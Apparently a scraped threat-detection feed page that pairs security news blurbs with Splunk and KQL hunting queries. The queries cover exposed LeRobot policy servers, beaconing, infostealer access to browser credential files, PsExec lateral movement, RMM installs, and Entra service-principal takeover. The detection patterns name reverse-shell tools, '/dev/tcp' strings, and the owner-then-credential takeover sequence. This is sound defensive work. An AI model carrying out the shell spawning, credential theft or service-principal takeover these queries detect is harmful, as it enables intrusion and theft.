| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN ("python","python3","python.exe","python3.exe") AND Processes.parent_process="*lerobot.async_inference.policy_server*" AND (Processes.process_name IN ("bash","sh","dash","zsh","curl","wget","nc","ncat","socat","perl","ruby","cmd.exe","powershell.exe") OR Processes.process IN ("*/bin/sh -c*","*bash -c*","*/dev/tcp/*","*python -c*","*python3 -c*")) by Processes.dest Processes.user Processes.parent_process Processes.process Processes.process_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunting query that surfaces hosts where the LeRobot PolicyServer is started bound to a routable interface (--host=0.0.0.0 or non-127.0.0.1) on the documented gRPC port 50051/8080. Per the disclosure the service uses add_insecure_port() and pickle.loads on incoming bytes, so any externally-reachable instance is unauthenticated RCE-by-design until a patch ships.
Rationale: Anchored on the article-confirmed module name lerobot.async_inference.policy_server and the documented launch flags (--host=0.0.0.0 --port=50051) used in both the Resecurity PoC and Chocapikk's analysis. Bound-to-non-loopback + the documented listening ports (50051, 8080) is uniquely diagnostic of an exploitable LeRobot deployment, with optional join on DeviceNetworkEvents to surface actual external reachability. Cross-checked with Resecurity advisory and Chocapikk technical writeup.
Cross-checked against:
• https://www.resecurity.com/blog/article/cve-2026-25874-hugging-face-lerobot-unauthenticated-rce-via-pickle-deserialization
• https://chocapikk.com/posts/2026/lerobot-pickle-rce/
ATT&CKT1190T1133
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("python","python3","python.exe","python3.exe") or FileName in~ ("python","python3","python.exe","python3.exe")
| where ProcessCommandLine has "lerobot.async_inference.policy_server"
| where ProcessCommandLine has_any ("--host=0.0.0.0","--host 0.0.0.0")
or (ProcessCommandLine has "--host" and ProcessCommandLine !contains "127.0.0.1" and ProcessCommandLine !contains "localhost")
| extend ListenPort = extract(@"--port[= ](\d+)", 1, ProcessCommandLine)
| join kind=leftouter (
DeviceNetworkEvents
| where ActionType == "InboundConnectionAccepted"
| where LocalPort in (50051, 8080)
| where RemoteIPType !in ("Loopback","Private")
| summarize ExternalConnects = count(), SampleRemote = any(RemoteIP) by DeviceId, LocalPort
) on DeviceId
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, ListenPort, ExternalConnects, SampleRemote
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN ("python","python3","python.exe","python3.exe") AND Processes.process="*lerobot.async_inference.policy_server*" AND (Processes.process="*--host=0.0.0.0*" OR Processes.process="*--host 0.0.0.0*" OR (Processes.process="*--host*" NOT Processes.process="*127.0.0.1*" NOT Processes.process="*localhost*")) by Processes.dest Processes.user Processes.process Processes.process_name Processes.process_id | `drop_dm_object_name(Processes)` | rex field=process "--port[= ](?<listen_port>\d+)" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-287 use cases7 techniques6 kill-chain phases detected
When patching isn’t fast enough, NDR helps contain the next era of threats. If you’ve been tracking advancements in AI, you know the exploit window, the short buffer that organizations relied on to patch and protect after a vulnerability disclosure, is closing fast. Anthropic’s new model, Claude Mythos, and its Project Glasswing, showed that finding exploitable vulnerabilities and subtle cracks
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-284 use cases3 techniques7 kill-chain phases detected
A Chinese national accused of being a member of the Silk Typhoon hacking group has been extradited to the U.S. from Italy. Xu Zewei, 34, was arrested in July 2025 by Italian authorities for his alleged links to the Chinese state-sponsored threat group and for orchestrating cyber attacks against American organizations and government agencies between February 2020 and June 2021, including
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-286 use cases3 techniques6 kill-chain phases detected
An administrative role meant for artificial intelligence (AI) agents within Microsoft Entra ID could enable privilege escalation and identity takeover attacks, according to new findings from Silverfort. Agent ID Administrator is a privileged built-in role introduced by Microsoft as part of its agent identity platform to handle all aspects of an AI agent's identity lifecycle operations in a
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · [LLM] Agent ID Administrator adds owner/credentials to non-agent service principal (CVE-less Entra flaw, post-patch abuse) · [LLM] Service principal owner-add followed by credential stamp within 1 hour (SP takeover sequence)
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] Agent ID Administrator adds owner/credentials to non-agent service principal (CVE-less Entra flaw, post-patch abuse)InstallationHigh
Hunts the Silverfort-disclosed scope overreach where a principal holding the Entra 'Agent ID Administrator' role (template GUID db506228-d27e-4b7d-95e5-295956d6615f) becomes owner of an arbitrary service principal and stamps new credentials on it to impersonate that SP. Microsoft's 9 Apr 2026 fix should now return 'Forbidden' for non-agent SPs, so any successful 'Add owner to service principal' or 'Add service principal credentials' by an Agent ID Administrator-assigned actor is a strong indicator of stale tenant state, exception bypass, or an unpatched edge condition.
Rationale: Built directly on the article + Silverfort blog: the Agent ID Administrator role template GUID db506228-d27e-4b7d-95e5-295956d6615f, plus the two privileged actions ('microsoft.directory/agentIdentities/owners/update' surface as 'Add owner to service principal' and credential-add events in audit logs) form the disclosed primitive. Cross-checked against the Silverfort disclosure and SecurityAffairs/CSO/Hackread coverage which all agree on the role GUID and the add-owner+add-credentials sequence.
Cross-checked against:
• https://www.silverfort.com/blog/agent-id-administrator-scope-overreach-service-principal-takeover-in-entra-id/
• https://www.csoonline.com/article/4163708/microsoft-patched-an-agent-only-role-that-was-not.html
• https://securityaffairs.com/191414/security/microsoft-fixes-entra-id-flaw-enabling-privilege-escalation.html
• https://hackread.com/microsoft-entra-agent-id-flaw-tenant-takeover/
• https://attack.mitre.org/techniques/T1098/003/
ATT&CKT1098.003T1078.004T1556.007
Data sourcesChange.Account_ManagementChange.All_Changes
let agentIdAdminRole = "db506228-d27e-4b7d-95e5-295956d6615f";
let agentAdmins = CloudAppEvents
| where Timestamp > ago(30d)
| where ActionType in ("Add member to role","Add eligible member to role","Add member to role completed (PIM activation)")
| extend props = parse_json(RawEventData).ModifiedProperties
| where tostring(props) has agentIdAdminRole
| project AdminUserId = AccountObjectId, AdminUPN = AccountDisplayName;
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Add owner to service principal","Add service principal credentials","Update application \u2013 Certificates and secrets management","Update service principal")
| extend raw = parse_json(RawEventData)
| extend TargetSP = tostring(raw.Target[0].DisplayName), TargetSPId = tostring(raw.Target[0].ID)
| extend ModProps = tostring(raw.ModifiedProperties)
| where ModProps has "KeyCredentials" or ModProps has "PasswordCredentials" or ActionType == "Add owner to service principal"
| join kind=inner agentAdmins on $left.AccountObjectId == $right.AdminUserId
| project Timestamp, ActionType, AccountDisplayName, AccountObjectId, TargetSP, TargetSPId, IPAddress, ISP, CountryCode, ModProps
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Change.object) as target_sp values(Change.object_id) as target_sp_id values(Change.src) as src_ip from datamodel=Change where (Change.action="modified" OR Change.action="created") (Change.command="Add owner to service principal" OR Change.command="Add service principal credentials" OR Change.command="Update application \u2013 Certificates and secrets management") by Change.user Change.user_id Change.command
| `drop_dm_object_name(Change)`
| join type=left user_id [
| tstats summariesonly=true values(Change.result) as assigned_role from datamodel=Change where Change.object_category="directoryRoleAssignment" Change.result="db506228-d27e-4b7d-95e5-295956d6615f" by Change.user_id
| `drop_dm_object_name(Change)`
| rename Change.user_id as user_id
]
| where isnotnull(assigned_role)
| convert ctime(firstTime) ctime(lastTime)
| table firstTime lastTime user user_id command target_sp target_sp_id src_ip assigned_role
[LLM] Service principal owner-add followed by credential stamp within 1 hour (SP takeover sequence)InstallationMedium
Behavioural hunt for the canonical Silverfort attack chain: same actor adds themselves (or a controlled identity) as owner of a service principal AND, within a short window, adds a new key/secret credential to that same SP — the exact two-step required to authenticate as the SP. Catches the technique even where the role-assignment side is missed (e.g. the actor used a different over-scoped role, a delegated app, or a stale Agent ID Administrator assignment).
Rationale: The Silverfort write-up explicitly describes the two-step primitive (become owner → mint credentials) that yields SP impersonation; the temporal correlation collapses the false-positive surface because legitimate app-admin workflows almost never combine these two operations on the same SP within an hour by the same actor. Cross-checked with MITRE T1098.001 (additional cloud credentials) and CSO/SecurityAffairs reporting confirming this is the sequence Microsoft patched.
Cross-checked against:
• https://www.silverfort.com/blog/agent-id-administrator-scope-overreach-service-principal-takeover-in-entra-id/
• https://www.scworld.com/news/microsoft-patches-entra-id-bug-that-let-ai-agents-escalate-privileges
• https://attack.mitre.org/techniques/T1098/001/
• https://attack.mitre.org/techniques/T1550/001/
ATT&CKT1098.001T1098.003T1550.001
Data sourcesChange.Account_Management
let window = 1h;
let ownerAdds = CloudAppEvents
| where Timestamp > ago(14d)
| where ActionType == "Add owner to service principal"
| extend raw = parse_json(RawEventData)
| extend TargetSPId = tostring(raw.Target[0].ID), TargetSP = tostring(raw.Target[0].DisplayName)
| project OwnerAddTime = Timestamp, AccountObjectId, AccountDisplayName, IPAddress, TargetSPId, TargetSP;
let credAdds = CloudAppEvents
| where Timestamp > ago(14d)
| where ActionType in ("Add service principal credentials","Update application \u2013 Certificates and secrets management","Update service principal")
| extend raw = parse_json(RawEventData)
| extend TargetSPId = tostring(raw.Target[0].ID), ModProps = tostring(raw.ModifiedProperties)
| where ModProps has "KeyCredentials" or ModProps has "PasswordCredentials"
| project CredAddTime = Timestamp, AccountObjectId, TargetSPId, ModProps;
ownerAdds
| join kind=inner credAdds on AccountObjectId, TargetSPId
| where CredAddTime between (OwnerAddTime .. OwnerAddTime + window)
| project OwnerAddTime, CredAddTime, AccountDisplayName, AccountObjectId, TargetSP, TargetSPId, IPAddress, ModProps
| tstats summariesonly=true min(_time) as firstTime max(_time) as lastTime values(Change.command) as actions from datamodel=Change where Change.object_category="ServicePrincipal" (Change.command="Add owner to service principal" OR Change.command="Add service principal credentials" OR Change.command="Update application \u2013 Certificates and secrets management") by Change.user Change.user_id Change.object Change.object_id
| `drop_dm_object_name(Change)`
| where mvcount(actions) >= 2 AND (lastTime - firstTime) <= 3600
| eval has_owner_add = if(mvfind(actions,"Add owner to service principal")>=0,1,0)
| eval has_cred_add = if(mvfind(actions,"credentials")>=0 OR mvfind(actions,"Certificates and secrets")>=0,1,0)
| where has_owner_add=1 AND has_cred_add=1
| convert ctime(firstTime) ctime(lastTime)
| table firstTime lastTime user user_id object object_id actions
2026-04-288 use cases4 techniques7 kill-chain phases detected
Microsoft on Monday revised its advisory for a now-patched, high-severity security flaw impacting Windows Shell to acknowledge that it has been actively exploited in the wild. The vulnerability in question is CVE-2026-32202 (CVSS score: 4.3), a spoofing vulnerability that could allow an attacker to access sensitive information. It was addressed as part of its Patch Tuesday update for this
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → [LLM] LNK file written to user path followed by explorer SMB to external host (CVE-2026-32202 chain)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — Microsoft Confirms Active Exploitation of Windows Shell CVE-2026-32202 · [LLM] Explorer.exe outbound SMB to internet IP (CVE-2026-32202 zero-click LNK NTLM coercion)
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Microsoft Confirms Active Exploitation of Windows Shell CVE-2026-32202ExploitationHigh
